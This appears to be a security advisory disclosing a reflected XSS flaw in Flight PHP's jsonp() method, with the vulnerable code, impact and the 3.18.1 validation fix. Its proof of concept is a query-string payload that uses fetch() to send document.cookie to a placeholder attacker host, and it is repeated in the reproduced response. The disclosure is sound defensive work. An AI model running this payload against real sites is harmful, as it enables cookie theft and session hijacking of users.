Reflected XSS via unvalidated JSONP callback in Flight::jsonp()

Summary

Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.

Affected code

flight/Engine.php (≈ lines 1000-1013):

$callback = $this->request()->query[$param];
$this->response()
    ->status($code)
    ->header('Content-Type', 'application/javascript; charset=' . $charset)
    ->write($callback . '(' . $json . ');');

No regex or identifier validation is performed before the callback is written.

Proof of concept

Given any route that calls Flight::jsonp($data):

GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//

Reproduced response (Content-Type: application/javascript):

;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});

When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.

Impact

• Reflected XSS in any application calling Flight::jsonp().
• Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
• Exfiltration of authenticated API responses.

Patch (fixed in 3.18.1, commit b8dd23a)

_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.

Credit

Discovered by @Rootingg.